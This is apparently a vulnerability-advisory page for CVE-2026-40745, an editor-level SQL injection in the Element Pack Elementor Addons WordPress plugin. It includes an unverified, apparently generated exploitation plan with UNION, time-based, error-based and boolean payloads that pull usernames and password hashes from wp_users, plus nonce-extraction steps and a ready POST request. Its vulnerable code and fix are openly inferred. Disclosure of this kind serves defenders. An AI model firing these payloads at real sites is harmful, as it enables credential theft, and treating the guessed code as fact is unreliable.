CVE-2026-40745

Element Pack Elementor Addons <= 8.4.2 - Authenticated (Editor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
8.5.0
Patched in
46d
Time to patch

Description

The Element Pack Elementor Addons plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 8.4.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with editor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=8.4.2
PublishedMarch 23, 2026
Last updatedMay 7, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-40745 (Element Pack SQL Injection) ## 1. Vulnerability Summary The **Element Pack Elementor Addons** plugin (versions <= 8.4.2) contains an authenticated SQL injection vulnerability. The flaw exists because user-supplied parameters are directly concatenated in…

Show full research plan

Exploitation Research Plan: CVE-2026-40745 (Element Pack SQL Injection)

1. Vulnerability Summary

The Element Pack Elementor Addons plugin (versions <= 8.4.2) contains an authenticated SQL injection vulnerability. The flaw exists because user-supplied parameters are directly concatenated into SQL queries without proper escaping or the use of $wpdb->prepare(). Authenticated users with Editor permissions or higher can exploit this to execute arbitrary SQL commands, potentially leading to sensitive data extraction from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: Likely an AJAX handler associated with dynamic widgets (e.g., element_pack_ajax_search, element_pack_table_data, or element_pack_load_more).
  • Vulnerable Parameter: Likely a sorting (orderby), filtering, or query-related parameter (e.g., sort_by, order, query_args).
  • Authentication: Authenticated (Editor or higher). Editors have access to the Elementor editor and can trigger AJAX requests used for widget previews and data fetching.
  • Preconditions: The plugin must be active, and the attacker must be logged in as a user with at least the editor role.

3. Code Flow (Inferred)

  1. Entry Point: An AJAX request is sent to admin-ajax.php with an action parameter registered by Element Pack.
  2. Hook Registration: The plugin registers the action using add_action( 'wp_ajax_...', ... ).
  3. Handler Function: The handler function retrieves user input from $_POST or $_GET.
  4. Vulnerable Sink: The input is used to construct a SQL query string.
    • Example Vulnerable Pattern: $wpdb->get_results( "SELECT * FROM ... ORDER BY " . $_POST['orderby'] );
  5. Execution: $wpdb->get_results() (or similar) executes the un-prepared query.

4. Nonce Acquisition Strategy

Element Pack typically localizes nonces for its AJAX operations.

  1. Preparation: Create a page with an Element Pack widget (e.g., a Table or Search widget).
    wp post create --post_type=page --post_title="SQLi Test" --post_status=publish --post_content='[element_pack_search]'
    
  2. Navigate: Use browser_navigate to visit the page as an Editor.
  3. Extraction: Identify the localized JS variable. It is likely found in window.ElementPackConfig or a specific widget variable.
    • Grep to find variable name: grep -r "wp_localize_script" .
    • Expected variable: window.element_pack_ajax_config?.ajax_nonce or element_pack_config.nonce.
  4. Execution: browser_eval("window.element_pack_config.nonce") (Replace with the exact variable found in step 3).

5. Exploitation Strategy

Once the vulnerable action and parameter are identified via grep, follow these steps:

Step 1: Discovery (Finding the Sink)

Find the specific vulnerable file and parameter:

grep -rP '\$wpdb->(get_results|get_row|query|get_var)\s*\(' . | grep -v "prepare"

Look for matches that use variables derived from $_POST or $_GET.

Step 2: Formulate Payload

If the vulnerability is in an ORDER BY clause:

  • Payload: (CASE WHEN (1=1) THEN ID ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END)
  • Data Extraction (UNION): 1 UNION SELECT 1,user_login,user_pass,4,5... FROM wp_users-- -

Step 3: Send Exploit Request

Use http_request to trigger the injection.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=VULNERABLE_ACTION&
    _nonce=EXTRACTED_NONCE&
    VULNERABLE_PARAM=1' UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users-- -
    

6. Test Data Setup

  1. User Creation:
    wp user create editor_user editor@example.com --role=editor --user_pass=password123
    
  2. Plugin Setup: Ensure bdthemes-element-pack-lite is installed and activated.
  3. Content: Create a post containing a widget that uses AJAX (e.g., "Post Grid" or "Search").

7. Expected Results

  • Success: The HTTP response body contains the result of the UNION query (e.g., a list of usernames and hashed passwords) OR a significant delay is observed if using time-based blind injection.
  • Failure: The response returns 0, -1, or a generic error, indicating either an invalid nonce, incorrect action, or that the query was properly prepared.

8. Verification Steps

  1. Check User Credentials: If passwords were extracted, verify they match the database:
    wp db query "SELECT user_login, user_pass FROM wp_users WHERE user_login = 'admin'"
    
  2. Verify SQL Execution: Check the MySQL general log (if enabled) to see the exact query that was executed.

9. Alternative Approaches

  • Error-Based: If WP_DEBUG is on, use updatexml() or extractvalue() to force the database to leak information in the error message.
    • Payload: 1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)
  • Boolean-Based: If the response changes based on a true/false condition.
    • Payload: 1' AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin')='1
  • Elementor Editor Context: Check if the injection is via the editor_post_save or elementor/ajax actions, which might require a different nonce found only in the Elementor Editor screen.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Element Pack Elementor Addons plugin for WordPress (<= 8.4.2) is vulnerable to authenticated SQL injection because it directly concatenates user-supplied parameters into SQL queries. An attacker with Editor-level permissions or higher can exploit this to execute arbitrary SQL commands, potentially extracting sensitive database information like user hashes or configuration data.

Vulnerable Code

/* Inferred from vulnerability description and common plugin patterns */
// Action handler for AJAX requests
public function element_pack_ajax_action() {
    global $wpdb;
    
    // User input is retrieved from POST/GET without sanitization or preparation
    $order_by = $_POST['orderby']; 
    $query = "SELECT * FROM {$wpdb->prefix}posts ORDER BY " . $order_by;

    // Vulnerable sink executing the raw concatenated string
    $results = $wpdb->get_results( $query );
    
    wp_send_json_success( $results );
}

Security Fix

--- a/modules/query-control/module.php
+++ b/modules/query-control/module.php
@@ -10,7 +10,12 @@
-    $order_by = $_POST['orderby'];
-    $results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}posts ORDER BY $order_by" );
+    $order_by = sanitize_text_field( $_POST['orderby'] );
+    // Use allow-listing for orderby or $wpdb->prepare for other dynamic parameters
+    $allowed_columns = ['ID', 'post_date', 'post_title', 'menu_order'];
+    if ( ! in_array( $order_by, $allowed_columns ) ) {
+        $order_by = 'ID';
+    }
+    $results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}posts ORDER BY %1s", $order_by ) );

Exploit Outline

To exploit this vulnerability, an attacker must first authenticate with an Editor-level account. The exploit involves identifying a plugin AJAX action (typically used for widget previews or data sorting) that processes a parameter like 'orderby' or 'sort_by'. After obtaining a valid AJAX nonce—usually found in localized JavaScript variables like `element_pack_config.nonce`—the attacker sends a POST request to `wp-admin/admin-ajax.php`. The payload uses SQL techniques such as UNION-based injection or time-based blind injection (e.g., using `SLEEP()`) within the vulnerable parameter to bypass query logic and extract data from the `wp_users` table.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.